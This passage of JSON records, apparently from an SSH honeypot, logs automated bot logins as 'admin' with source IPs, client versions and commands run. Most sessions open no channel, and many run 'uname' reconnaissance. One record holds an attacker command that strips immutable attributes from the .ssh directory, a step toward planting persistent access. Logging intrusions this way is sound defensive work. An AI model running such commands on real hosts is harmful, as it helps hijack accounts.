  "started_at": "2026-08-24T19:55:36.321694+00:00",
  "ended_at": "2026-08-24T19:55:37.733266+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ad620fb-98e6-4d81-8bdc-76c879813e6d",
  "name": "amiable-sullen-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 44548,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:41:30.818207+00:00",
  "ended_at": "2026-08-24T19:41:40.532859+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2847b851-c6cd-46df-a45f-6e2dfca14ef6",
  "name": "orderly-solar-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.35.110.147",
  "src_port": 33546,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T19:05:40.955267+00:00",
  "ended_at": "2026-08-24T19:05:42.931101+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7000c24a-3060-4195-9226-2257e4868c0c",
  "name": "granite-bronzed-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 38630,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:45:58.475913+00:00",
  "ended_at": "2026-08-24T18:45:58.884690+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00f4f21c-e6ce-40ea-b1a8-6dbb298b47d2",
  "name": "genial-murky-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 57168,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:42:24.745133+00:00",
  "ended_at": "2026-08-24T18:42:34.434702+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dba208ef-fa2b-418b-80fa-b61f149738de",
  "name": "cunning-dewy-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 36088,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:26:03.175618+00:00",
  "ended_at": "2026-08-24T18:26:07.451804+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eef8ef1f-b5a0-4b1f-87e9-bc3ed4e4ceed",
  "name": "cobalt-quartz-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "65.181.71.117",
  "src_port": 58331,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 688,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T18:23:59.758849+00:00",
  "ended_at": "2026-08-24T18:23:59.971970+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3226
 },
 {
  "id": "76e0a6ca-e7c1-47fe-aa8a-250ad3723640",
  "name": "dutiful-brisk-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "65.181.71.117",
  "src_port": 61507,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:23:41.309152+00:00",
  "ended_at": "2026-08-24T18:23:41.806035+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "530ae50a-4580-4d19-b9c0-164072195948",
  "name": "rapid-tawny-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "65.181.71.117",
  "src_port": 59091,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T18:23:23.560616+00:00",
  "ended_at": "2026-08-24T18:23:25.266894+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a387a1f-221f-461a-9108-34aa7f47bb22",
  "name": "bitter-thawing-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "116.110.157.126",
  "src_port": 42138,
  "username": "admin",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T17:52:56.145268+00:00",
  "ended_at": "2026-08-24T17:53:04.699268+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "03815e73-46c0-4ab3-a07e-93cf5b5f0395",
  "name": "grassy-curious-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 50300,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T17:49:37.195109+00:00",
  "ended_at": "2026-08-24T17:49:37.801749+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c8015fab-25a1-46f7-8f62-cef4f9cfa60b",
  "name": "hidden-slender-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "27.79.45.89",
  "src_port": 58306,
  "username": "admin",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T17:06:13.001421+00:00",
  "ended_at": "2026-08-24T17:06:20.766478+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da52f7eb-dbc8-4bac-8c55-9d37ffe246b3",
  "name": "opal-canny-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 59816,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:50:25.502296+00:00",
  "ended_at": "2026-08-24T16:50:26.654083+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "484d0372-c12d-4c8f-9c14-f942ec0e5f9a",
  "name": "amiable-courtly-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 34774,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:47:06.202943+00:00",
  "ended_at": "2026-08-24T16:47:15.877582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73a7e18c-e079-4795-99db-aae49e55bfaf",
  "name": "vivid-oaken-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 49250,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T15:48:27.016724+00:00",
  "ended_at": "2026-08-24T15:48:36.739681+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b525353-c8d9-4fc4-8e11-d6a9b68ce7de",
  "name": "primal-lofty-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 34608,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T15:37:55.179601+00:00",
  "ended_at": "2026-08-24T15:37:55.719858+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d0f3fac-f5ef-48dd-b315-f9bed1e2445a",
  "name": "umber-clever-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 55314,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T14:48:27.504454+00:00",
  "ended_at": "2026-08-24T14:48:37.211695+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a7b58ef-ace7-4ee5-bcd5-a1bf9a4f76f0",
  "name": "coastal-snowy-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 43780,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T14:41:01.290179+00:00",
  "ended_at": "2026-08-24T14:41:02.917634+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "16950fe0-2e17-4f6a-a700-c2831c8dc3a3",
  "name": "calm-wiry-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 36940,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T13:48:24.424617+00:00",
  "ended_at": "2026-08-24T13:48:34.098288+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7678b2a1-198d-4a0a-b997-93ec750f6b18",
  "name": "jaunty-languid-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 57370,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T13:37:58.850057+00:00",
  "ended_at": "2026-08-24T13:38:00.636885+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0173e85-dbb3-4705-9560-7ee6f96f75a7",
  "name": "ruddy-languid-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 47576,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T13:30:05.979178+00:00",
  "ended_at": "2026-08-24T13:30:11.049876+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c32c6a64-00af-496b-9f37-80354d6d4463",
  "name": "pewter-distant-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 47598,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T12:48:21.810101+00:00",
  "ended_at": "2026-08-24T12:48:31.486096+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "490af9ec-6aa2-4e59-abcf-2b5c0437b738",
  "name": "tender-idle-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 58504,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T12:34:11.176557+00:00",
  "ended_at": "2026-08-24T12:34:11.919042+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a6e3c8f-ac93-4b38-8ce6-3372f761d805",
  "name": "alpine-cheerful-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 49528,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T11:50:11.554120+00:00",
  "ended_at": "2026-08-24T11:50:21.258234+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "85a2c090-f65c-407d-be5a-cb2ff3006cc8",
  "name": "civil-mossy-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 58100,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T11:26:23.859923+00:00",
  "ended_at": "2026-08-24T11:26:24.619193+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd8dc527-cf7f-48b6-9f42-16d1cf6b2997",
  "name": "gentle-woven-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 56232,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T10:23:41.250944+00:00",
  "ended_at": "2026-08-24T10:23:41.780707+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9b4af95e-1319-41f3-a4ed-469ddd40b2bb",
  "name": "seaward-inland-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60886,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:13:01.147443+00:00",
  "ended_at": "2026-08-24T10:13:06.432188+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "21469c68-e7f3-48c2-a7e2-5131d6251307",
  "name": "jaunty-mighty-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 57570,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 471,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:07:10.526795+00:00",
  "ended_at": "2026-08-24T10:07:17.010397+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "78dba99c-85a6-4b68-8b5d-bfcb2e88d971",
  "name": "fleeting-dapper-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 57780,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 240,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:06:14.412566+00:00",
  "ended_at": "2026-08-24T10:06:18.400165+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7bf3bf4c-d532-4ac6-b5bb-ed850eb292ab",
  "name": "earnest-crystal-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 37210,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 241,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:04:05.191391+00:00",
  "ended_at": "2026-08-24T10:04:10.345910+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "27698e58-0d0e-444b-936f-750307e195a6",
  "name": "glassy-boreal-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 59080,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:03:14.695266+00:00",
  "ended_at": "2026-08-24T10:03:18.186828+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c8663c53-e3c7-4406-9643-f5f0e083825a",
  "name": "drifting-obsidian-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 46634,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:02:09.509650+00:00",
  "ended_at": "2026-08-24T10:02:13.019967+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fb614208-b6c5-47b2-ae8d-5b12d3754a8f",
  "name": "sterling-twilight-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 40950,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:01:53.202536+00:00",
  "ended_at": "2026-08-24T10:01:59.246888+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c97a994b-6f3b-4dc3-9c04-b64d9527145b",
  "name": "airy-leafy-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 44842,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:00:07.444203+00:00",
  "ended_at": "2026-08-24T10:00:13.585430+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f4c6e64a-111b-45c1-a492-8d7081a71634",
  "name": "blithe-scarlet-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 40386,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:59:58.400555+00:00",
  "ended_at": "2026-08-24T10:00:01.406060+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2222ab15-e7b7-4ccf-a945-125d70dd344d",
  "name": "silent-rapid-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 41278,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 253,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:56:01.395699+00:00",
  "ended_at": "2026-08-24T09:56:04.104032+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "db011fc0-a958-4d91-b409-5ffef18bc748",
  "name": "crisp-nameless-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 46202,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:52:38.696010+00:00",
  "ended_at": "2026-08-24T09:52:43.232681+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "761e5493-28e5-41c1-a0de-b921406b1fd9",
  "name": "solemn-ivory-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 33822,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T09:50:30.053687+00:00",
  "ended_at": "2026-08-24T09:50:39.745832+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "665a5ecc-7195-4aa7-8090-59cd409740ca",
  "name": "bashful-leafy-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 39136,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 242,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:50:06.615904+00:00",
  "ended_at": "2026-08-24T09:50:10.437177+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "38b03370-b476-4f15-b40a-f2f68188f7ec",
  "name": "fickle-gloomy-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 35552,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:47:50.701596+00:00",
  "ended_at": "2026-08-24T09:47:56.585721+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dde37499-d9b8-47b0-b1c1-018dded3ce4d",
  "name": "cunning-hollow-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 34040,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 388,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:38:19.896118+00:00",
  "ended_at": "2026-08-24T09:38:23.590423+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b2cdee9b-a4f2-4014-9a55-b99b8839cade",
  "name": "golden-jagged-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 40742,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:37:16.338640+00:00",
  "ended_at": "2026-08-24T09:37:19.224595+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c65d544a-1d46-466c-bdf5-b1ce6d870d6d",
  "name": "languid-prairie-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 43662,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:34:47.612687+00:00",
  "ended_at": "2026-08-24T09:34:52.482907+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "78fc5d75-24cb-4881-acde-1ea572b3dbcb",
  "name": "valiant-frank-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 48890,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T09:26:45.954346+00:00",
  "ended_at": "2026-08-24T09:26:47.294993+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7770e0f5-26ea-4d9b-8868-4345f81a7d86",
  "name": "prickly-marbled-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 37752,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:25:58.918342+00:00",
  "ended_at": "2026-08-24T09:26:03.350849+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ab7bb6cb-5a9b-4803-87b1-c30d0e8d6f2e",
  "name": "bashful-coastal-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 58540,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:22:24.804722+00:00",
  "ended_at": "2026-08-24T09:22:29.521577+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a43afd7f-f5cf-405d-95ae-36d77d5154e8",
  "name": "rugged-fleeting-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 47670,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:19:04.033128+00:00",
  "ended_at": "2026-08-24T09:19:08.798780+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1e76199c-8a41-4144-85fa-184d9cbb4095",
  "name": "dutiful-keen-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 47654,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:19:01.407078+00:00",
  "ended_at": "2026-08-24T09:19:05.348826+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "07819ac8-e6ac-40e9-9faa-f0dce0e784d2",
  "name": "whispering-jolly-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 57618,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:09:53.228457+00:00",
  "ended_at": "2026-08-24T09:09:56.924055+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dfdf1147-05b0-421b-b902-66fac6a1d571",
  "name": "crystal-solar-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38040,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:54:58.891664+00:00",
  "ended_at": "2026-08-24T08:55:04.724446+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9b70f425-1ee4-45f5-b510-cccd800e3ce2",
  "name": "mossy-candid-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60244,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:53:51.015803+00:00",
  "ended_at": "2026-08-24T08:53:55.517894+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e27eba74-4d7e-4f61-beaa-4910b6e3dfec",
  "name": "obsidian-hardy-okapi",
  "protocol": "ssh",
